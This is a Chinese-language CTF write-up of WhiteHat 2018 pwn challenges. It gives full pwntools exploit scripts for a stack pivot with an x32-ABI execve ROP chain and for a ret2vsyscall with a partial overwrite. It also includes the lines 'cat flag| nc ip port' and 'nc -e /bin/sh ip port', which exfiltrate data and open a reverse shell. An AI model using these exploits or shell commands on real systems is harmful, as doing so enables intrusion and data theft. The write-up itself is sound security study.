越南的一场比赛, 比赛当天陪女朋友理发, 在理发店看了 pwn01, 刚有思路, 电脑没电了, 第二天接着做时发现比赛结束了. 比赛结束后参考 writeup 复现了三道 pwn, 收获不少, 这里记录一下.

Pwn01

题目链接

题目分析

附件给了很多文件, 根据 run.sh 和 ptrace_64.cpp 大概看出程序禁用了 poll, clone, fork, vfork, execve, kill, tkill, tgkill 和 write 等系统调用以及过滤了 /home/gift/flag.txt 字符串. 禁用了 execve 说明无论使用 system 还是 one_gadget 都不能 get shell, 过滤了 /home/gift/flag.txt 防止使用 orw 的方法直接读取 flag, 当然这两点都是可以绕过的

再回过头看 giftshop, 程序没有开启 canary 保护(checksec 可能会有误报, 最准确的方法是查看 __stack_chk_fail 附近的汇编). 经过分析, 程序中存在如下的结构体

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
WhiteHat2018_pwn01 [master●●] cat struct
struct GOOD
{
	char name[30];
	char receiver[34];
	char *item;
	char *address;
	char *a_letter;
	unsigned int price;
}

用 IDA 观察程序流程, 发现程序刚进入时就打印了一个全局变量的地址, 这样 PIE 保护也被绕过了

1
2
  puts("OK First, here is a giftcard, it may help you in next time you come here !");
  printf("%p\n", &loyal_flag);                  // bypass PIE

继续分析, 程序有 order, show_order, delete_order, loyal 等四个功能, 而查看 order 功能时, 就发现了明显的栈溢出以及栈溢出引起的数组越界的漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    else
    {
      setbuf(stdin, 0LL);
      puts("Enter your address: ");
      fgets(good_list[i].address, 0x200, stdin);
      setbuf(stdin, 0LL);
      puts("A letter for her/him:");
      filter(s);
      fgets(s, 230, stdin);                     // bof bug
      setbuf(stdin, 0LL);
      good_list[i].a_letter = (char *)malloc(0x1EuLL);
      strncpy(good_list[i].a_letter, s, 0x1EuLL);
    }

漏洞利用

Step 1:

看一下栈的布局发现能完整的覆盖到 order 的 rbp 以及返回地址, 溢出的长度不足以构造长的 ropchain, 考虑使用 stack-pivot 将栈转移到 bss 段(绕过了 PIE 保护, bss 段的地址相当于是已知的), 构造以下的栈结构

1
2
3
4
5
6
7
8
9
+-----------------+
|                 |
|padding          |
|                 |
+-----------------+
|elf.bss() + 0x500| <- rbp
+-----------------+
|fgets_gadgets    | <- ret addr
+-----------------+

其中, fgets_gedgets 为

1
2
3
4
5
.text:00000000000018B9                 mov     rdx, cs:stdin   ; stream
.text:00000000000018C0                 lea     rax, [rbp+s]
.text:00000000000018C7                 mov     esi, 0E6h       ; n
.text:00000000000018CC                 mov     rdi, rax        ; s
.text:00000000000018CF                 call    _fgets

覆盖返回地址为 elf.address + 0x18B9 时, order 函数将返回到这里, 从 stdin 读取最多 0xE6 个数据并保存到 rbp+s 即 rbp - 0xD0 的位置, 上图的栈结构中, 即会把输入保存到 elf.bss() + 0x500 - 0xD0 上; (不建议使用 bss 开头的地址, 因为 bss 的开头存储了stdin, stdout, stderr 等重要 IO_file 结构体, 随意覆盖可能会在 io 上出现问题)

同时需要注意的是需要给 i 一个合理的值, 否则在执行

1
    good_list[i].a_letter = (char *)malloc(0x1EuLL);

一句时将会因为地址不可写程序发生 crash

Step 2:

这样通过一次 rop, 我们就能在 bss 段这一个固定的地址上构造一段相对较长的利用链. 关键是要构造什么样的利用链, 程序已经过滤了 execve 这个系统调用, 用常规方法就不能 get shell 了, 但实际上这个过滤还是很弱的, 我们有很多方法可以利用, 比如使用 execveat 或者使用 x32 abi 这个特性

1
2
3
4
5
6
7
Since 3.4 the Linux kernel has had a feature called the X32 ABI; 64bit syscalls with 32bit pointers.

'''
WhiteHat2018_pwn01 [master●●] grep -i execve /usr/include/asm/unistd_x32.h
#define __NR_execve (__X32_SYSCALL_BIT + 520)
#define __NR_execveat (__X32_SYSCALL_BIT + 545)
'''

简单的说, 就是可以用 0x40000000 加上一个系统调用号的方式进行系统调用, 比如使用 0x40000000 + 520 的方式实现 execve 这个系统调用, 这样就实现了绕过黑名单, 因此可以构造如下的 ropchain 来 get shell

1
2
3
4
5
6
7
8
    prdi = 0x000000000000225f + elf.address
    prsi = 0x0000000000002261 + elf.address
    prdx = 0x0000000000002265 + elf.address
    prax = 0x0000000000002267 + elf.address
    syscall = 0x0000000000002254 + elf.address
    binsh = elf.bss() + 0x500 - 0xd0
    rop = flat(["/bin/sh\0", prax, 0x40000000 + 520, prdi, binsh, prsi, 0, prdx, 0, syscall])
	# 刚开始还很奇怪这个程序中有这么多好用的 gadget, 后来看了别人 writeup 才知道这是出题方故意加进去的- -

Step 3:

那么这时候就只差一步了: 控制 rip 到我们构造的 ropchian 就能拿到 shell 了, 这一步不难做到, 第二次 fgets 时, 输入从 rbp - 0xE0 开始, 我们依然能控制 rbp, 并且程序中也可以找到 leave; ret 这个 gadget, 这样再进行一次栈迁移, 控制返回地址为我们输入的 ropchain 的位置即可

exp

最终的 exp 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
WhiteHat2018_pwn01 [master●●] cat exp.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import roputils as rp
from ctypes import c_uint64
import os
import sys

elfPath = "./giftshop"
libcPath = ""
remoteAddr = "pwn01.grandprix.whitehatvn.com"
remotePort = 26129

context.binary = elfPath
elf = context.binary
if sys.argv[1] == "l":
    io = process(elfPath)
    libc = elf.libc

else:
    if sys.argv[1] == "d":
        io = process(elfPath, env = {"LD_PRELOAD": libcPath})
    else:
        io = remote(remoteAddr, remotePort)
        context.log_level = "info"
    if libcPath:
        libc = ELF(libcPath)

context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
success = lambda name, value: log.success("{} -> {:#x}".format(name, value))

def DEBUG(bps = []):
    cmd = "set follow-fork-mode parent\n"
    base = elf.address
    cmd += ''.join(['b *{:#x}\n'.format(b + base) for b in bps])
    cmd += "c"

    raw_input("DEBUG: ")
    gdb.attach(io, cmd)

def bof(letter):
    assert len(letter) < 240
    io.sendlineafter(":\n", "1")
    io.sendlineafter("y/n\n", "n")
    io.sendlineafter("txt\n", "1")
    io.sendline("6")
    io.sendlineafter("y/n\n", "y")
    io.sendlineafter(": \n", "address")
    io.sendlineafter(":\n", letter)

if __name__ == "__main__":
    io.recvuntil(" !\n")
    elf.address = int(io.recvuntil("\n", drop = True), 16) - 0x2030D8
    success("elf", elf.address)
    io.sendlineafter("??\n", "0000")
    io.sendlineafter(": \n", "1111")

    #  DEBUG([0x19BC])
    fgets_gadgets = 0x18B9 + elf.address
    bof(flat(['\0' * 0xd0, elf.bss() + 0x500, fgets_gadgets]))

    leaveret = 0x0000000000001176 + elf.address
    prdi = 0x000000000000225f + elf.address
    prsi = 0x0000000000002261 + elf.address
    prdx = 0x0000000000002265 + elf.address
    prax = 0x0000000000002267 + elf.address
    syscall = 0x0000000000002254 + elf.address
    binsh = elf.bss() + 0x500 - 0xd0
    rop = flat(["/bin/sh\0", prax, 0x40000000 + 520, prdi, binsh, prsi, 0, prdx, 0, syscall])
    payload = rop.ljust(0xd0, '\0')
    payload += p64(elf.bss() + 0x500 - 0xd0)
    payload += p64(leaveret)
    assert len(payload) < 240
    io.sendline(payload)
    
    io.interactive()

Pwn02

tcache uaf off-by-one null

Pwn03

这道题挺有意思, 程序给了一个二进制文件和共享库, 下载文件

题目分析

程序开启了所有保护, 并且有意思的是给的 libc 也是 patch 过得, 找一下 BuildID 相同的 libc, 查看 patch 的内容

1
2
3
4
5
6
WhiteHat2018_pwn03 [master●] file ~/libc-database/db/libc6_2.27-3ubuntu1_amd64.so 
/home/m4x/libc-database/db/libc6_2.27-3ubuntu1_amd64.so: ELF 64-bit LSB pie executable x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped
WhiteHat2018_pwn03 [master●] file ./libc-2.27.so 
./libc-2.27.so: ELF 64-bit LSB pie executable x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped
WhiteHat2018_pwn03 [master●] diff libc-2.27.so ~/libc-database/db/libc6_2.27-3ubuntu1_amd64.so
二进制文件 libc-2.27.so 和 /home/m4x/libc-database/db/libc6_2.27-3ubuntu1_amd64.so 不同

这里我用的是 hexdiff

只有这一处是不同的, IDA 中可以看出此处的功能相当于 add rsi 127; jmp system

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
.text:000000000004F43A                 add     rdi, 7Fh
.text:000000000004F43E                 jmp     short loc_4F45B

.text:000000000004F45B loc_4F45B:                              ; CODE XREF: sub_4F360+DE↑j
.text:000000000004F45B                 call    sub_4EEB0
.text:000000000004F460                 test    eax, eax
.text:000000000004F462                 setz    al
.text:000000000004F465                 add     rsp, 8
.text:000000000004F469                 movzx   eax, al
.text:000000000004F46C                 retn

__int64 __fastcall system(__int64 a1)
{
  __int64 result; // rax

  if ( a1 )
    result = sub_4EEB0();
  else
    result = (unsigned int)sub_4EEB0() == 0;
  return result;
}

暂时不知道这段 gadget 有什么用, 先看二进制程序, 发现在 echo 函数中存在漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void echo()
{
  int v0; // ST0C_4
  int v1; // [rsp+Ch] [rbp-E4h]
  char buf[216]; // [rsp+10h] [rbp-E0h]
  unsigned __int64 v3; // [rsp+E8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = v1 + 32;
  read(0, buf, v0);
  printf("Echo machine: ", buf);
  write(1, buf, v0);
  close(0);
  close(1);
  strcpy(buf, deleteyourevilstring);
}

根据调试, read 时的长度 v0 是根据我们的输入决定的, 那么这里就存在一个栈溢出的漏洞, 有意思的是这道题的 stdin 和 stdout 也被关闭了, 根据现有的情况, 基本上溢出也只能利用一次了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
.text:0000000000000EFE                 mov     rax, [rbp+var_8]
.text:0000000000000F02                 xor     rax, fs:28h
.text:0000000000000F0B                 jmp     short locret_F12
.text:0000000000000F0D ; ---------------------------------------------------------------------------
.text:0000000000000F0D                 call    ___stack_chk_fail
.text:0000000000000F12 ; ---------------------------------------------------------------------------
.text:0000000000000F12
.text:0000000000000F12 locret_F12:                             ; CODE XREF: echo+A4↑j
.text:0000000000000F12                 leave
.text:0000000000000F13                 retn

查看 call __stack_chk_fail 附近的汇编, 发现虽然 checksec 检测有 canary, 但实际没起作用, 这样 canary 保护也就绕过了

Step 1:

我们先看一下在 echo 函数 ret 前寄存器和栈上的值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pwndbg> 
0x000055f1e44c0f13 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 RAX  0xa54266585221bb65
 RBX  0x0
 RCX  0x7ff52b699910 ◂— mov    rdx, qword ptr [rsi]
 RDX  0x676e6972747320
 RDI  0x7ffd0eed2220 ◂— 0x676e6972747320 /* u' string' */
 RSI  0x55f1e46c2020 ◂— 0x676e6972747320 /* u' string' */
 R8   0xe
 R9   0x0
 R10  0x8
 R11  0x7ff52b7923c0 ◂— loopne 0x7ff52b792436
 R12  0x55f1e44c0b50 ◂— xor    ebp, ebp
 R13  0x7ffd0eed24c0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x6361616863616167 ('gaachaac')
 RSP  0x7ffd0eed22f8 —▸ 0x55f1e44c0f69 ◂— nop    
 RIP  0x55f1e44c0f13 ◂— ret    
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
   0x55f1e44c0efd    nop    
   0x55f1e44c0efe    mov    rax, qword ptr [rbp - 8]
   0x55f1e44c0f02    xor    rax, qword ptr fs:[0x28]
   0x55f1e44c0f0b    jmp    0x55f1e44c0f12
    ↓
   0x55f1e44c0f12    leave  
 ► 0x55f1e44c0f13    ret    <0x55f1e44c0f69>
    ↓
   0x55f1e44c0f69    nop    
   0x55f1e44c0f6a    mov    rax, qword ptr [rbp - 8]
   0x55f1e44c0f6e    xor    rax, qword ptr fs:[0x28]
   0x55f1e44c0f77    je     0x55f1e44c0f7e
    ↓
   0x55f1e44c0f7e    leave  
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ rsp  0x7ffd0eed22f8 —▸ 0x55f1e44c0f69 ◂— nop    
01:0008│      0x7ffd0eed2300 ◂— 0x31 /* u'1' */
02:0010│      0x7ffd0eed2308 ◂— 0x0
... ↓
pwndbg> stack 25
00:0000│ rsp  0x7ffd0eed22f8 —▸ 0x55f1e44c0f69 ◂— nop    
01:0008│      0x7ffd0eed2300 ◂— 0x31 /* u'1' */
02:0010│      0x7ffd0eed2308 ◂— 0x0
... ↓
0e:0070│      0x7ffd0eed2368 ◂— 0x7ff500000000
0f:0078│      0x7ffd0eed2370 —▸ 0x55f1e44c1268 ◂— 0x63616d206f686345 ('Echo mac')
10:0080│      0x7ffd0eed2378 ◂— 0xc623073e3140da00
11:0088│      0x7ffd0eed2380 ◂— 0x0
12:0090│      0x7ffd0eed2388 —▸ 0x7ffd0eed23d0 —▸ 0x7ffd0eed23e0 —▸ 0x55f1e44c1060 ◂— push   r15
13:0098│      0x7ffd0eed2390 —▸ 0x55f1e44c0b50 ◂— xor    ebp, ebp
14:00a0│      0x7ffd0eed2398 —▸ 0x7ff52b632460 (system+32) ◂— test   eax, eax
15:00a8│      0x7ffd0eed23a0 —▸ 0x7ffd0eed24c0 ◂— 0x1
16:00b0│      0x7ffd0eed23a8 —▸ 0x55f1e44c0fef ◂— nop    
17:00b8│      0x7ffd0eed23b0 ◂— 0x0
18:00c0│      0x7ffd0eed23b8 ◂— 0x304e000000000000
pwndbg> telescope $rdi
00:0000│ rdi  0x7ffd0eed2220 ◂— 0x676e6972747320 /* u' string' */
01:0008│      0x7ffd0eed2228 ◂— 0x6161616861616167 ('gaaahaaa')
02:0010│      0x7ffd0eed2230 ◂— 0x6161616a61616169 ('iaaajaaa')
03:0018│      0x7ffd0eed2238 ◂— 0x6161616c6161616b ('kaaalaaa')
04:0020│      0x7ffd0eed2240 ◂— 0x6161616e6161616d ('maaanaaa')
05:0028│      0x7ffd0eed2248 ◂— 0x616161706161616f ('oaaapaaa')
06:0030│      0x7ffd0eed2250 ◂— 0x6161617261616171 ('qaaaraaa')
07:0038│      0x7ffd0eed2258 ◂— 0x6161617461616173 ('saaataaa')
pwndbg> 

有两点值得注意:

  1. rdi + 8 到之后的很长一段都是可控的
  2. 栈上有一个 system + 32 的地址 这样再结合之前 libc 上的 gadget add rdi, 127; jmp system, 就可以通过 partial overwrite 改写 system + 32 的低位为 gadget 的地址(调试验证此时只需改写最低位即可, 是可行的), 这样如果能控制 rip 为此 gadget 的地址, 就相当于控制了 system 的参数, 有了一次执行命令的机会

Step 2:

但问题出在 system + 32 在 rsp + 0xa0 这个位置, 我们需要控制 echo 函数返回到这里, 这个也好办, 用 ret2vsyscall 可以达到这个目的

TLDR: 可以把 vsyscall 理解为一段固定地址和内容的 gadget, 用这段 gadget 填满栈, 可以实现 slide 的功能

vsyscall 的地址可以直接用 vmmap 找到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x55ef6a521000     0x55ef6a523000 r-xp     2000 0      /home/m4x/pwn_repo/WhiteHat2018_pwn03/onehit
    0x55ef6a722000     0x55ef6a723000 r--p     1000 1000   /home/m4x/pwn_repo/WhiteHat2018_pwn03/onehit
    0x55ef6a723000     0x55ef6a724000 rw-p     1000 2000   /home/m4x/pwn_repo/WhiteHat2018_pwn03/onehit
    0x55ef6b8f7000     0x55ef6b918000 rw-p    21000 0      [heap]
    0x7fe121ebd000     0x7fe1220a4000 r-xp   1e7000 0      /home/m4x/pwn_repo/WhiteHat2018_pwn03/libc-2.27.so
    0x7fe1220a4000     0x7fe1222a4000 ---p   200000 1e7000 /home/m4x/pwn_repo/WhiteHat2018_pwn03/libc-2.27.so
    0x7fe1222a4000     0x7fe1222a8000 r--p     4000 1e7000 /home/m4x/pwn_repo/WhiteHat2018_pwn03/libc-2.27.so
    0x7fe1222a8000     0x7fe1222aa000 rw-p     2000 1eb000 /home/m4x/pwn_repo/WhiteHat2018_pwn03/libc-2.27.so
    0x7fe1222aa000     0x7fe1222ae000 rw-p     4000 0      
    0x7fe1222ae000     0x7fe1222d3000 r-xp    25000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fe1224d0000     0x7fe1224d2000 rw-p     2000 0      
    0x7fe1224d2000     0x7fe1224d3000 r--p     1000 24000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fe1224d3000     0x7fe1224d4000 rw-p     1000 25000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fe1224d4000     0x7fe1224d5000 rw-p     1000 0      
    0x7ffc925ca000     0x7ffc925eb000 rw-p    21000 0      [stack]
    0x7ffc925ec000     0x7ffc925ef000 r--p     3000 0      [vvar]
    0x7ffc925ef000     0x7ffc925f1000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> x/5i 0xffffffffff600000
   0xffffffffff600000:	mov    rax,0x60
   0xffffffffff600007:	syscall 
   0xffffffffff600009:	ret    
   0xffffffffff60000a:	int3   
   0xffffffffff60000b:	int3   

这样通过 ret2vsyscall + partial overwrite, 我们就能控制 system 执行一次指令了

Step 3:

还要注意的是, 程序的 stdout 被关掉了, 这个和 0ctf2018 的 babystack 类似, 可以使用 cat flag| nc ip port 的方式在公网 vps 上监听到(nc -l -p port)

或者使用 nc -e ip port 来建立一个反向 shell, 原理可以参考

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549

讲的很清楚

但还有一个更简单的方法,使用 sh flag; 利用报错来拿到 flag

exp

最终的 exp 如下, 其中的一些细节调试一遍会更加清楚

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
WhiteHat2018_pwn03 [master●●] cat solve.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from hashlib import sha512
import re
context.binary = "./onehit"
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

io = process("./onehit", env = {"LD_PRELOAD": "./libc-2.27.so"})
#  io = remote("localhost", 9999)

def DEBUG(bps = []):
    cmd = "set follow-fork-mode parent\n"
    base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
    cmd += ''.join(['b *{:#x}\n'.format(b + base) for b in bps])
    cmd += "c"

    raw_input("DEBUG: ")
    gdb.attach(io, cmd)


def get_interger():
    prefix, head =  re.findall('"([A-Z]+)".*0x([0-9a-f]+)', io.recvuntil("The interger"))[0]
    #  print prefix, head
    for i in range(0, 0x1fffff)[::-1]:
        if sha512(prefix + str(i)).hexdigest().startswith(head):
            return i
    else:
        log.error("Not Found!!!")

if __name__ == "__main__":
    io.sendafter(" = ", str(get_interger()).ljust(0x100, '\x7f'))
    io.sendafter("al?\n", "N0\0")
    #  DEBUG([0xEA0, 0xE7F])
    io.sendafter("/bin/sh\n", "1\0")

    '''
    .text:000000000004F43A                 add     rdi, 7Fh
    .text:000000000004F43E                 jmp     short loc_4F45B
    '''
    vsyscall = 0xffffffffff600000
    #  cmd = "cat flag| nc ip port;"
    #  cmd = "nc -e /bin/sh ip port;"
    cmd = "sh flag;"
    payload = '\0' * (0x7f + 0x10) + cmd 
    payload = payload.ljust(0xE0 + 8, '\0') + p64(vsyscall) * 20 + '\x3a'

    io.sendafter("available\n", payload)
    #  pause()

    io.interactive()
    io.close()